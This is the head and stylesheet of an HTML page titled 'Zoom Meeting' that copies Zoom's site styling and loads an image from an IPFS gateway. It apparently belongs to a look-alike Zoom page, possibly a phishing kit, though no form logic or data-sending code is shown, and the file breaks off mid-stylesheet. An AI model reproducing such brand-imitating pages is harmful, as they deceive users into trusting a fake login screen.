<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Zoom Meeting</title>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

    <style>
      .first {
        font: 100%/1.4 Verdana, Arial, Helvetica, sans-serif;
        background: #4e5869;
        margin: 0;
        padding: 0;
        color: #000;
        width: 100%;
        height: 100%;
        min-height: 100vh; /* Ensure full viewport height */
      }

      .firsth1 {
        margin-top: 0;
        padding-right: 15px;
        padding-left: 15px;
      }

      .container11 {
        width: 80%;
        max-width: 1260px;
        min-width: 780px;
        background: #fff;
        margin: 0 auto;
        /* padding: 20px; Added padding for better spacing */
      }

      .header11 {
        background: #6f7d94;
        padding: 50px 0;
      }

      .content11 {
        padding: 10px 0;
        padding-bottom: 50px;
      }

      .error-message11 {
        color: red;
        font-size: 14px;
        margin: 5px 0;
        margin-bottom: 15px;
      }

      .f {
        margin-bottom: 20px;
      }
      .firstform {
        margin-left: 35%;
      }

      input[type="button"] {
        font-size: 16px;
        font-weight: semi-bold;
        height: 46px;
        background-color: rgb(14, 113, 235);
        opacity: 1;
        border-color: rgb(14, 113, 235);
        color: rgb(255, 255, 255);
        border-radius: 5px;
        padding-left: 10px;
        padding-right: 10px;
        margin-bottom: 10px;
        cursor: pointer; /* Added cursor pointer for button */
      }

      @media (max-width: 768px) {
        .container11 {
          width: 90%;
          min-width: auto;
        }

        .firsth1 {
          font-size: 1.2em;
          text-align: center;
          margin-left: 0 !important;
        }

        .firstinput {
          width: 100% !important;
        }
        .firstform {
          margin-left: 0px;
          padding: 15px;
        }
      }

      .input-lg {
        font-size: 24px;
        font-weight: lighter;
        border-width: 2px;
        border-color: #eee;
        height: 52px;
      }

      .form-control {
        color: #232333;
        border-radius: 8px;
        box-shadow: none;
        height: 32px;
        line-height: 32px;
        padding-top: 0;
        padding-bottom: 0;
        border-color: #babacc;
        display: block;
        width: 100%;
        height: 34px;
        padding: 6px 12px;
        font-size: 14px;
        line-height: 1.42857143;
        color: #555;
        background-color: #fff;
        background-image: none;
        border: 1px solid #ccc;
        border-radius: 4px;
        -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
        box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
        -webkit-transition: border-color ease-in-out 0.15s,
          box-shadow ease-in-out 0.15s;
        transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
      }

      #loadingAnimation {
        display: none;
        width: 50px;
        margin-left: 30%;
        height: 50px;
        border: 5px solid #f3f3f3;
        border-top: 5px solid #3498db;
        border-radius: 50%;
        animation: spin 1s linear infinite;
      }

      @keyframes spin {
        0% {
          transform: rotate(0deg);
        }
        100% {
          transform: rotate(360deg);
        }
      }

      #outputDiv {
        padding: 15px;
        position: relative;
      }
      .load {
        position: relative;
        display: flex;
      }
      footer,
      main,
      nav {
        display: block;
      }
      a {
        background: transparent;
      }
      a:active,
      a:hover {
        outline: 0;
      }
      h1 {
        margin: 0.67em 0;
        font-size: 2em;
      }
      img {
        border: 0;
      }
      svg:not(:root) {
        overflow: hidden;
      }
      hr {
        height: 0;
        -moz-box-sizing: content-box;
        box-sizing: content-box;
      }
      button,
      input {
        margin: 0;
        font: inherit;
        color: inherit;
      }
      button {
        overflow: visible;
      }
      button {
        text-transform: none;
      }
      button {
        -webkit-appearance: button;
        cursor: pointer;
      }
      input {
        line-height: normal;
      }
      @media print {
        * {
          color: #000 !important;
          text-shadow: none !important;
          background: transparent !important;
          box-shadow: none !important;
        }
        a,
        a:visited {
          text-decoration: underline;
        }
        a[href]:after {
          content: " (" attr(href) ")";
        }
        a[href^="javascript:"]:after,
        a[href^="#"]:after {
          content: "";
        }
        img {
          page-break-inside: avoid;
        }
        img {
          max-width: 100% !important;
        }
        p,
        h3 {
          orphans: 3;
          widows: 3;
        }
        h3 {
          page-break-after: avoid;
        }
        .navbar {
          display: none;
        }
      }
      * {
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        box-sizing: border-box;
      }
      *:before,
      *:after {
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        box-sizing: border-box;
      }
      body {
        font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
        font-size: 14px;
        line-height: 1.42857143;
        color: #333;
        background-color: #fff;
      }
      input,
      button {
        font-family: inherit;
        font-size: inherit;
        line-height: inherit;
      }
      a {
        color: #428bca;
        text-decoration: none;
      }
      a:hover,
      a:focus {
        color: #2a6496;
        text-decoration: underline;
      }
      a:focus {
        outline: thin dotted;
        outline: 5px auto -webkit-focus-ring-color;
        outline-offset: -2px;
      }
      img {
        vertical-align: middle;
      }
      hr {
        margin-top: 20px;
        margin-bottom: 20px;
        border: 0;
        border-top: 1px solid #eee;
      }
      .sr-only {
        position: absolute;
        width: 1px;
        height: 1px;
        padding: 0;
        margin: -1px;
        overflow: hidden;
        clip: rect(0, 0, 0, 0);
        border: 0;
      }
      h1,
      h3,
      h5 {
        font-family: inherit;
        font-weight: 500;
        line-height: 1.1;
        color: inherit;
      }
      h1,
      h3 {
        margin-top: 20px;
        margin-bottom: 10px;
      }
      h5 {
        margin-top: 10px;
        margin-bottom: 10px;
      }
      h1 {
        font-size: 36px;
      }
      h3 {
        font-size: 24px;
      }
      h5 {
        font-size: 14px;
      }
      p {
        margin: 0 0 10px;
      }
      .page-header {
        padding-bottom: 9px;
        margin: 40px 0 20px;
        border-bottom: 1px solid #eee;
      }
      ul {
        margin-top: 0;
        margin-bottom: 10px;
      }
      ul ul {
        margin-bottom: 0;
      }
      .list-inline {
        padding-left: 0;
        margin-left: -5px;
        list-style: none;
      }
      .list-inline > li {
        display: inline-block;
        padding-right: 5px;
        padding-left: 5px;
      }
      .container {
        padding-right: 15px;
        padding-left: 15px;
        margin-right: auto;
        margin-left: auto;
      }
      @media (min-width: 768px) {
        .container {
          width: 750px;
        }
      }
      @media (min-width: 992px) {
        .container {
          width: 970px;
        }
      }
      @media (min-width: 1200px) {
        .container {
          width: 1170px;
        }
      }
      .form-group {
        margin-bottom: 15px;
      }
      .btn {
        display: inline-block;
        padding: 6px 12px;
        margin-bottom: 0;
        font-size: 14px;
        font-weight: normal;
        line-height: 1.42857143;
        text-align: center;
        white-space: nowrap;
        vertical-align: middle;
        cursor: pointer;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
        background-image: none;
        border: 1px solid transparent;
        border-radius: 4px;
      }
      .btn:focus,
      .btn:active:focus {
        outline: thin dotted;
        outline: 5px auto -webkit-focus-ring-color;
        outline-offset: -2px;
      }
      .btn:hover,
      .btn:focus {
        color: #333;
        text-decoration: none;
      }
      .btn:active {
        background-image: none;
        outline: 0;
        -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
        box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
      }
      .btn-primary {
        color: #fff;
        background-color: #428bca;
        border-color: #357ebd;
      }
      .btn-primary:hover,
      .btn-primary:focus,
      .btn-primary:active {
        color: #fff;
        background-color: #3276b1;
        border-color: #285e8e;
      }
      .btn-primary:active {
        background-image: none;
      }
      .collapse {
        display: none;
      }
      .dropdown {
        position: relative;
      }
      .dropdown-menu {
        position: absolute;
        top: 100%;
        left: 0;
        z-index: 1000;
        display: none;
        float: left;
        min-width: 160px;
        padding: 5px 0;
        margin: 2px 0 0;
        font-size: 14px;
        list-style: none;
        background-color: #fff;
        background-clip: padding-box;
        border: 1px solid #ccc;
        border: 1px solid rgba(0, 0, 0, 0.15);
        border-radius: 4px;
        -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
        box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
      }
      .dropdown-menu > li > a {
        display: block;
        padding: 3px 20px;
        clear: both;
        font-weight: normal;
        line-height: 1.42857143;
        color: #333;
        white-space: nowrap;
      }
      .dropdown-menu > li > a:hover,
      .dropdown-menu > li > a:focus {
        color: #262626;
        text-decoration: none;
        background-color: #f5f5f5;
      }
      @media (min-width: 768px) {
        .navbar-right .dropdown-menu {
          right: 0;
          left: auto;
        }
      }
      .nav {
        padding-left: 0;
        margin-bottom: 0;
        list-style: none;
      }
      .nav > li {
        position: relative;
        display: block;
      }
      .nav > li > a {
        position: relative;
        display: block;
        padding: 10px 15px;
      }
      .nav > li > a:hover,
      .nav > li > a:focus {
        text-decoration: none;
        background-color: #eee;
      }
      .navbar {
        position: relative;
        min-height: 50px;
        margin-bottom: 20px;
        border: 1px solid transparent;
      }
      @media (min-width: 768px) {
        .navbar {
          border-radius: 4px;
        }
      }
      @media (min-width: 768px) {
        .navbar-header {
          float: left;
        }
      }
      .navbar-collapse {
        max-height: 340px;
        padding-right: 15px;
        padding-left: 15px;
        overflow-x: visible;
        -webkit-overflow-scrolling: touch;
        border-top: 1px solid transparent;
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);
      }
      @media (min-width: 768px) {
        .navbar-collapse {
          width: auto;
          border-top: 0;
          box-shadow: none;
        }
        .navbar-collapse.collapse {
          display: block !important;
          height: auto !important;
          padding-bottom: 0;
          overflow: visible !important;
        }
        .navbar-fixed-top .navbar-collapse {
          padding-right: 0;
          padding-left: 0;
        }
      }
      .container > .navbar-header {
        margin-right: -15px;
        margin-left: -15px;
      }
      @media (min-width: 768px) {
        .container > .navbar-header {
          margin-right: 0;
          margin-left: 0;
        }
      }
      .navbar-fixed-top {
        position: fixed;
        right: 0;
        left: 0;
        z-index: 1030;
      }
      @media (min-width: 768px) {
        .navbar-fixed-top {
          border-radius: 0;
        }
      }
      .navbar-fixed-top {
        top: 0;
        border-width: 0 0 1px;
      }
      .navbar-toggle {
        position: relative;
        float: right;
        padding: 9px 10px;
        margin-top: 8px;
        margin-right: 15px;
        margin-bottom: 8px;
        background-color: transparent;
        background-image: none;
        border: 1px solid transparent;
        border-radius: 4px;
      }
      .navbar-toggle:focus {
        outline: 0;
      }
      .navbar-toggle .icon-bar {
        display: block;
        width: 22px;
        height: 2px;
        border-radius: 1px;
      }
      .navbar-toggle .icon-bar + .icon-bar {
        margin-top: 4px;
      }
      @media (min-width: 768px) {
        .navbar-toggle {
          display: none;
        }
      }
      .navbar-nav {
        margin: 7.5px -15px;
      }
      .navbar-nav > li > a {
        padding-top: 10px;
        padding-bottom: 10px;
        line-height: 20px;
      }
      @media (min-width: 768px) {
        .navbar-nav {
          float: left;
          margin: 0;
        }
        .navbar-nav > li {
          float: left;
        }
        .navbar-nav > li > a {
          padding-top: 15px;
          padding-bottom: 15px;
        }
        .navbar-nav.navbar-right:last-child {
          margin-right: -15px;
        }
      }
      @media (min-width: 768px) {
        .navbar-right {
          float: right !important;
        }
      }
      .navbar-nav > li > .dropdown-menu {
        margin-top: 0;
        border-top-left-radius: 0;
        border-top-right-radius: 0;
      }
      .navbar-default {
        background-color: #f8f8f8;
        border-color: #e7e7e7;
      }
      .navbar-default .navbar-nav > li > a {
        color: #777;
      }
      .navbar-default .navbar-nav > li > a:hover,
      .navbar-default .navbar-nav > li > a:focus {
        color: #333;
        background-color: transparent;
      }
      .navbar-default .navbar-toggle {
        border-color: #ddd;
      }
      .navbar-default .navbar-toggle:hover,
      .navbar-default .navbar-toggle:focus {
        background-color: #ddd;
      }
      .navbar-default .navbar-toggle .icon-bar {
        background-color: #888;
      }
      .navbar-default .navbar-collapse {
        border-color: #e7e7e7;
      }
      .alert {
        padding: 15px;
        margin-bottom: 20px;
        border: 1px solid transparent;
        border-radius: 4px;
      }
      .alert-success {
        color: #3c763d;
        background-color: #dff0d8;
        border-color: #d6e9c6;
      }
      .clearfix:before,
      .clearfix:after,
      .container:before,
      .container:after,
      .nav:before,
      .nav:after,
      .navbar:before,
      .navbar:after,
      .navbar-header:before,
      .navbar-header:after,
      .navbar-collapse:before,
      .navbar-collapse:after {
        display: table;
        content: " ";
      }
      .clearfix:after,
      .container:after,
      .nav:after,
      .navbar:after,
      .navbar-header:after,
      .navbar-collapse:after {
        clear: both;
      }
      .pull-right {
        float: right !important;
      }
      .visible-xs {
        display: none !important;
      }
      @media (max-width: 767px) {
        .visible-xs {
          display: block !important;
        }
      }
      @media (max-width: 767px) {
        .hidden-xs {
          display: none !important;
        }
      }
      body {
        height: 100%;
        color: #232333;
        background-color: #39394d;
      }
      a {
        text-decoration: none;
        color: #0956b5;
      }
      a:hover {
        color: #033a7d;
        text-decoration: underline;
      }
      a:active {
        color: #001f45;
        text-decoration: underline;
      }
      a.imglink {
        text-decoration: none;
        display: inline-block;
      }
      a.light {
        color: #2da5ff;
      }
      .btn {
        border-radius: 8px;
        padding: 5px 16px;
      }
      .btn:active {
        outline: none !important;
        box-shadow: none !important;
      }
      .btn-primary {
        background-color: #0e71eb;
        border-color: #0e71eb;
        color: #fff;
      }
      .btn.btn-primary:hover,
      .btn.btn-primary:focus {
        background-color: #2681f2;
        border-color: #2681f2;
      }
      .btn.btn-primary:active {
        background-color: #0c63ce;
        border-color: #0c63ce;
      }
      .btn.user {
        width: 200px;
        font-size: 20px;
      }
      .form-group {
        margin-bottom: 24px;
      }
      #header_container > .container {
        padding-left: 0;
        padding-right: 0;
      }
      .navbar-default {
        background: transparent none;
        border-color: transparent;
      }
      @media (min-width: 768px) {
        #header_container .container {
          width: 100% !important;
        }
      }
      @media (min-width: 980px) {
        #header_container .container {
          width: 100% !important;
        }
        #header_container.loggedin .container {
          width: 100% !important;
        }
      }
      @media (min-width: 1200px) {
        #header_container .container {
          width: 1200px !important;
        }
      }
      @media (min-width: 1440px) {
        #header_container .container {
          width: 1400px !important;
        }
      }
      .hideme {
        display: none;
      }
      .mini-layout-body {
        margin: 0 auto;
      }
      #content_container {
        padding-top: 64px;
        position: relative;
        background-color: #fff;
        min-height: 624px;
      }
      #content_success_msg {
        position: fixed;
        top: 0;
        left: 50%;
        padding: 4px 15px;
        z-index: 1000;
        border-radius: 0 0 4px 4px;
        opacity: 1;
        filter: alpha(opacity=100);
        margin-top: 64px;
      }
      #header_container {
        position: fixed;
        width: 100%;
        top: 0;
        z-index: 300;
        background-color: rgba(255, 255, 255, 0.97);
        height: 64px;
        line-height: 64px;
        box-shadow: 0 0 2px rgba(0, 0, 0, 0.2);
      }
      .zoom-newhd {
        height: 104px !important;
      }
      .zoom-newcontent {
        padding-top: 10px !important;
      }
      .zoom-newmessage {
        margin-top: 104px !important;
      }
      #header_outer {
        position: relative;
        font-size: 12px;
        font-weight: 600;
        height: 64px;
      }
      #header_outer ul {
        list-style: none;
        margin: 0;
        padding: 0;
      }
      .navbar-nav > li > a {
        padding: 22px 15px;
      }
      #header {
        margin: 0 auto;
      }
      #header .left {
        float: left;
        line-height: normal;
        margin-top: 19px;
      }
      #header .left .logo {
        border: 0;
        height: 25px;
        width: auto;
        margin-left: 24px;
        margin-right: 20px;
      }
      .navbar-header .left .logo {
        margin-right: 40px;
      }
      #header .nav .joinameeting {
        margin-right: 15px;
      }
      #header .navbar-toggle {
        margin-top: 15px;
      }
      #header_login {
        position: absolute;
        right: 10px;
        top: 0;
      }
      #header_login li {
        margin-right: 0;
        padding: 0;
        display: block;
        float: left;
      }
      #header_container #header .container {
        padding-left: 0;
        padding-right: 0;
      }
      .support-phone {
        color: #3a3c3e;
      }
      .navbar-default .navbar-right > li > a {
        color: #0c63ce;
      }
      .navbar-default .navbar-nav > li > a:hover,
      .navbar-default .navbar-nav > li > a:focus {
        color: #0e71eb;
      }
      .navbar-default .navbar-right > li > a:hover,
      .navbar-default .navbar-right > li > a:focus,
      #header_outer .hostmeeting:hover {
        color: #2073d9;
        text-decoration: none;
      }
      #header_outer .joinameeting,
      #header_outer .hostmeeting {
        color: #0c63ce;
      }
      #black-topbar {
        height: 40px;
        line-height: 40px;
        background-color: #39394d;
        position: relative;
        z-index: 1;
      }
      #black-topbar ul {
        margin: 0;
        display: inline-block;
      }
      #black-topbar ul > li > a {
        color: #fff;
        line-height: 15px;
        font-size: 11px;
        font-weight: 300;
        text-transform: uppercase;
        text-decoration: none;
      }
      #black-topbar ul > li > a:focus {
        outline: -webkit-focus-ring-color auto 5px;
      }
      #black-topbar .list-inline > li {
        padding-left: 15px;
      }
      #black-topbar .list-inline > li:last-child {
        padding-right: 10px;
      }
      .loggedin #black-topbar .list-inline > li:last-child {
        padding-right: 25px;
      }
      #resources ul > li > a {
        padding: 8px 45px 8px 30px;
      }
      #resources ul {
        padding-top: 15px;
        padding-bottom: 15px;
      }
      .navbar-nav > li.dropdown .dropdown-menu:before {
        position: absolute;
        top: -7px;
        right: calc(50% - 6px);
        display: inline-block !important;
        border-right: 7px solid transparent;
        border-bottom: 7px solid #eee;
        border-left: 7px solid transparent;
        border-bottom-color: rgba(0, 0, 0, 0.2);
        content: "";
      }
      .navbar-nav > li.dropdown .dropdown-menu:after {
        position: absolute;
        top: -6px;
        right: calc(50% - 5px);
        display: inline-block !important;
        border-right: 6px solid transparent;
        border-bottom: 6px solid #fff;
        border-left: 6px solid transparent;
        content: "";
      }
      .mobile-phone {
        background-image: url(https://gateway.moralisipfs.com/ipfs/Qmdxq9mkj8ShBnSabkLypBSwoSaePNtAPu3m9VZugc45yh/image/new/home/phone.png);
        background-repeat: no-repeat;
        height: 14px;
        width: 14px;
        display: inline-block;
        vertical-align: middle;
        margin-right: 5px;
      }
      @media screen and (max-width: 767px) {
        .container > .navbar-header {
          margin-left: 0;
          margin-right: 0;
          position: relative;
          z-index: 999;
        }
        .container > .navbar-header > button {
          margin-right: 0;
        }
        #header .left {
          margin-top: 0;
        }
        #header_container {
          line-height: 40px;
        }
        #header_container #navbar li {
          padding-left: 15px;
        }
        #header_outer .container {
          padding-left: 15px;
          padding-right: 15px;
        }
        #header_outer .divider {
          height: 1px;
          margin: 0;
          overflow: hidden;
          background-color: #e5e5e5;
        }
        .support-phone {
          color: #2d8cff;
        }
        .zoom-newhd {
          height: 50px !important;
        }
        #header_outer {
          position: fixed !important;
          width: 100%;
          box-shadow: 0 0 1px rgba(0, 0, 0, 0.2);
        }
        .zoom-newcontent {
          padding-top: 0 !important;
        }
        .zoom-newmessage {
          margin-top: 50px !important;
        }
        .navbar-nav > li.dropdown .dropdown-menu:after {
          content: none;
        }
        .navbar-nav > li.dropdown .dropdown-menu:before {
          content: none;
        }
      }
      .page-header {
        margin: 0;
        padding: 0;
        border-width: 0;
      }
      #navbar #dropdown-hostmeeting {
        margin-left: 15px;
        margin-right: 15px;
      }
      #header #dropdown-hostmeeting ul {
        margin-top: -18px;
        padding: 5px 0;
        border-radius: 8px;
      }
      #hostMeetingDropdown > li > a:hover {
        color: #fff;
        text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);
        background-color: #2d8cff;
      }
      img {
        max-width: 100%;
        height: auto;
        width: auto;
      }
      .navbar-toggle {
        border-width: 0;
      }
      .navbar-default .navbar-toggle .icon-bar {
        background-color: #30acff;
      }
      @media (max-width: 480px) {
        .btn.user {
          width: 90%;
        }
      }
      @media screen and (max-width: 767px) {
        #header_container {
          position: relative;
          z-index: 999;
          height: 50px;
        }
        #header_outer {
          height: 50px;
        }
        #header .navbar-toggle {
          margin-top: 10px;
        }
        #header .left {
          line-height: 50px;
          height: 50px;
        }
        #header_container .navbar-fixed-top {
          position: relative;
        }
        #header_container .container .navbar-collapse {
          padding-left: 0;
          padding-right: 0;
          margin-left: 0;
          margin-right: 0;
          background: #eee none;
          max-height: 370px;
        }
        #content {
          padding: 20px 0;
          width: 100% !important;
        }
        .navbar-nav > li > a {
          padding: 10px 0 10px 15px;
          text-align: center;
        }
        #header #dropdown-hostmeeting ul {
          margin-top: -8px;
        }
        #header .nav .joinameeting {
          margin-right: 0;
        }
        #header_container #navbar li {
          text-transform: uppercase;
          padding-left: 0;
        }
        #content_container {
          padding-top: 0;
        }
        .navbar-header {
          background-color: #fff;
        }
        #header_outer .navbar-nav > li > a:hover {
          background: #08c;
        }
        #header .left .logo {
          margin-right: 5px;
          margin-left: 10px;
        }
        #header_outer .navbar-nav li > a {
          text-align: left;
          color: #000;
        }
        .navbar-default .navbar-toggle:focus,
        .navbar-default .navbar-toggle:hover {
          background-color: #fff;
        }
        #header_login li {
          line-height: 50px;
        }
        #header_login > ul > .divider {
          display: none !important;
        }
      }
      @media (min-width: 1024px) {
        .navbar-header .left .logo {
          margin-left: 10px;
        }
        .support-phone:hover {
          text-decoration: none;
        }
      }
      @media screen and (min-width: 768px) and (max-width: 996px) {
        #header .nav .joinameeting,
        #navbar #dropdown-hostmeeting,
        #header .left .logo {
          margin-right: 10px;
        }
      }
      @media screen and (min-width: 768px) and (max-width: 920px) {
        #header .nav .joinameeting {
          margin-right: 0;
        }
      }
      @media screen and (max-width: 900px) and (min-width: 768px) {
        .loggedin #black-topbar .list-inline > li:last-child {
          padding-right: 10px;
        }
      }
      @media screen and (max-width: 1060px) and (min-width: 768px) {
        html:lang(en-US) .navbar-nav > li > a {
          padding-left: 9px;
          padding-right: 9px;
        }
      }
      @media screen and (max-width: 1100px) and (min-width: 768px) {
        html:lang(en-US) .loggedin .navbar-nav > li > a {
          padding-left: 10px;
          padding-right: 10px;
        }
      }
      @media screen and (max-width: 1120px) and (min-width: 1100px) {
        html:lang(en-US) #header_container.loggedin .navbar-nav > li > a {
          padding-left: 9px;
          padding-right: 9px;
        }
      }
      .HiddenText {
        clip: rect(1px, 1px, 1px, 1px);
        height: 0;
        overflow: hidden;
        position: absolute;
        width: 0;
      }
      .navbar-nav > li.dropdown .dropdown-menu:after,
      .navbar-nav > li.dropdown .dropdown-menu:before {
        right: calc(91% - 29px);
      }
      @media screen and (min-width: 1070px) and (max-width: 1218px) {
        .navbar-nav > li.dropdown .dropdown-menu::after,
        .navbar-nav > li.dropdown .dropdown-menu::before {
          right: calc(91% - 91px) !important;
        }
      }
      @media screen and (max-width: 767px) {
        .navbar-collapse {
          max-height: none;
        }
        .page-header {
          display: none !important;
        }
      }
      .resourceDescription {
        font-weight: 400;
        font-size: 14px;
        line-height: 17px;
        margin: 20px 0;
      }
      .articleSection {
        width: 100%;
        display: flex;
        line-height: 1;
        border-top: 1px solid #e4f0ff;
        padding-top: 30px;
        margin-top: 40px;
      }
      #join-conf {
        text-align: left;
        padding-top: 10px;
        max-width: 480px;
        margin: 0 auto;
      }
      #join-conf h1 {
        font-size: 32px;
        margin: 72px 0 48px;
      }
      #join-conf p {
        font-size: 16px;
        line-height: 24px;
        margin: 20px 0;
      }
      #join-conf .btn.user {
        height: 48px;
        line-height: 36px;
      }
      #join-form .form-group.confno {
        margin-bottom: 4px;
      }
      @media screen and (max-width: 767px) {
        #join-conf {
          padding-top: 0;
          max-width: inherit;
        }
        #content #join-conf .mini-layout-body {
          width: 100%;
          text-align: left;
          padding: 0 20pt;
        }
        #content #join-conf .page-header h1 {
          font-weight: 400;
          font-size: 30pt;
          color: #000;
          line-height: 40pt;
          margin: 20pt 0 20pt;
        }
        #join-form .form-group {
          margin-bottom: 20pt;
        }
        #join-conf .btn.user {
          width: 100%;
        }
      }
      @media screen and (max-width: 767px) {
        #content .page-header h1 {
          font-weight: 400;
          font-size: 30pt;
          color: #000;
          line-height: 40pt;
          margin: 20pt 0 20pt;
        }
        .form-group {
          margin-bottom: 20pt;
        }
      }

      a {
        color: #0956b5;
        text-decoration: none;
      }
      a:hover,
      a:focus {
        color: #033a7d;
      }
      a:active {
        color: #001f45;
      }
      h1,
      h3,
      h5 {
        color: #131619;
        font-weight: inherit;
      }
      h1:first-child,
      h3:first-child {
        margin-top: 0;
      }
      h5:last-child {
        margin-bottom: 0;
      }
      h1 {
        font-size: 20px;
        font-weight: 600;
      }
      h3 {
        font-size: 16px;
      }
      h5,
      p {
        font-size: 14px;
      }
      p {
        line-height: 1.5;
      }
      hr {
        margin-top: 20px;
        margin-bottom: 20px;
        border: 0;
        border-top: 1px solid #eeeeee;
      }
      *:before,
      *:after {
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        box-sizing: border-box;
      }
      * {
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        box-sizing: border-box;
      }

      div.online-indicator {
        display: inline-block;
        margin-right: 10px;
        position: relative;
      }
      div.online-indicator,
      span.blink {
        width: 15px;
        height: 15px;
        background-color: #0fcc45;
        border-radius: 50%;
      }
      span.blink {
        display: block;
        opacity: 0.7;
        animation: blink 1s linear infinite;
      }
      .userm {
        display: inline-block;
        width: 150px;
        height: 150px;
        border-radius: 50%;
        -o-object-fit: cover;
        object-fit: cover;
      }
      #btnNewProducts:hover > .whiteBarArrow,
      #btnNewResources:hover > .whiteBarArrow,
      #btnNewSolutions:hover > .whiteBarArrow {
        position: relative;
        left: 10px;
        visibility: visible;
        opacity: 1;
      }
      body {
        padding: 0;
        margin: 0;
        font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Oxygen,
          Ubuntu, Cantarell, Fira Sans, Droid Sans, Helvetica Neue, sans-serif;
        position: relative;
        font-family: Lato, Helvetica, Arial;
        height: 100vh;
        display: flex;
        flex-direction: column;
        background-color: #fff;
      }
      * {
        box-sizing: border-box;
      }
      main {
        padding: 5rem 0;
        flex: 1 1;
        display: flex;
        flex-direction: column;
        justify-content: center;
        align-items: center;
      }

      .Footer_footer___O5Nl {
        width: 100%;
        padding: 20px;
        display: flex;
        justify-content: center;
        align-items: center;
        background-color: #39394d;
        color: #fff;
      }
      .spinner-container {
        display: flex;
        align-items: center;
        justify-content: center;
      }
      .productSubSection {
        display: flex;
      }
      .productsLinkDesc,
      .solutionsLinkDesc {
        font-weight: normal;
        font-size: 14px;
        text-transform: none;
        color: black;
      }
      .productsDescription,
      .solutionsDescription {
        font-weight: 400;
        font-size: 14px;
        margin: 5px 0 5px 0;
        color: black;
        text-transform: none;
        line-height: 1.3;
      }
      #exploreZoomOne,
      #discoverZoom,
      #findASolution {
        color: #0b5cff !important;
        font-size: 14px;
        text-transform: none;
        text-decoration: none;
        line-height: 1;
        font-weight: 100;
      }
      .productSectionLinks,
      .solutionSectionLinks {
        line-height: 1;
      }
      .productSectionLinks li,
      .solutionSectionLinks li,
      .resourceSectionLinks li {
        margin-bottom: 5px;
      }
      .solutionSectionLinks li a,
      .resourceSectionLinks li a {
        color: #0b5cff !important;
        font-weight: 450;
        font-size: 16px !important;
        line-height: 20px;
        padding: 0 !important;
        text-transform: none;
      }
      .productSectionLinks li a {
        color: #0b5cff !important;
        font-weight: 450;
        font-size: 16px !important;
        line-height: 20px;
        text-transform: none;
      }
      #products > .dropdown-menu > .navBarMenuItems {
        padding: 0;
      }
      .navbar-nav > li.dropdown #btnNewProducts + .dropdown-menu:after {
        border-bottom: 15px solid #f6f7f9;
      }
      #products > .dropdown-menu > .navBarMenuItems > .main_col.first_column {
        background-color: #f6f7f9;
        border-top-left-radius: 20px;
        border-bottom-left-radius: 20px;
        padding: 20px;
      }
      #products > .dropdown-menu > .navBarMenuItems > .main_col.second_column,
      #products > .dropdown-menu > .navBarMenuItems > .main_col.third_column,
      #products > .dropdown-menu > .navBarMenuItems > .main_col.fourth_column {
        margin-top: 20px;
      }
      #btnNewResources,
      #btnNewProducts,
      #btnNewSolutions {
        font-weight: 500;
        color: #666484;
        font-size: 16px;
        padding: 0;
        border: 0;
        background: 0;
      }
      #header_outer .signin > .link-myaccount {
        background-color: #0b5cff;
        border: 1px solid #0b5cff;
        border-radius: 20px;
        color: white;
        padding: 10px 20px;
        text-align: center;
        text-decoration: none;
        display: inline-block;
        font-size: 16px;
        cursor: pointer;
      }
      #navbar-left .top-pricing-new,
      #navbar-left .search-new {
        color: #666484 !important;
        font-size: 16px;
        font-weight: 500;
        padding: 0;
        border: 0;
        text-transform: none;
      }
      a#btnLogInHostMeeting:focus {
        text-decoration: none !important;
      }
      #btnJoinMeeting,
      #btnLogInHostMeeting,
      #btnWhiteboards {
        text-transform: none !important;
        color: #666484 !important;
        font-size: 16px !important;
      }
      .mobile-newnav-dropdown-divider {
        height: 1px;
        color: #e4f0ff;
        display: none;
      }
      @media screen and (min-width: 768px) {
        .dropdown-menu.top-nav-menu-items:hover {
          display: block;
        }
      }
      .navbar-nav > li > .dropdown-menu {
        border-radius: 20px;
        padding-bottom: 0;
      }
      .navbar-nav > li.dropdown .dropdown-menu:before {
        content: "";
        border-right: 7px solid transparent;
        border-bottom: 7px solid #f6f7f9;
        border-left: 7px solid transparent;
        position: absolute;
        bottom: 9px;
        left: 0;
        right: calc(20% - 10px);
        margin: 0 auto;
        width: 0;
        visibility: hidden;
      }
      .navbar-nav > li.dropdown .dropdown-menu:after {
        content: "";
        border-right: 6px solid transparent;
        border-bottom: 15px solid #f6f7f9;
        border-left: 6px solid transparent;
        position: absolute;
        bottom: 2px;
        left: 0;
        right: calc(20% - 10px);
        margin: 0 auto;
        width: 0;
        z-index: 9999;
        visibility: hidden;
      }
      .navBarMenuItems {
        display: flex;
        flex-wrap: wrap;
        padding-left: 30px;
        padding-right: 30px;
        padding-top: 30px;
        line-height: 1em;
      }
      .navBarMenuItems > .main_col {
        flex: 1;
        margin-right: 20px;
      }
      .mainSection {
        border-bottom: 1px solid #e1e1e6;
        margin-bottom: 20px;
        margin-right: 20px;
        min-height: 140px;
      }
      span.columnTitle {
        font-weight: 600;
        font-size: 20px;
        line-height: 120%;
        color: #00031f;
        display: block;
      }
      .resourceDescription {
        font-weight: 400;
        font-size: 14px;
        margin: 5px 0;
        color: black;
      }
      .resourceSectionLinks {
        display: flex;
        flex-direction: column;
        line-height: 1;
        padding: 0 !important;
      }
      .articleSection {
        display: flex;
        line-height: 1;
        padding: 20px;
        margin-top: 30px;
        border-bottom-right-radius: 20px;
        border-bottom-left-radius: 20px;
        margin-right: -30px;
        margin-left: -30px;
        width: 1400px;
        background-color: #f6f7f9;
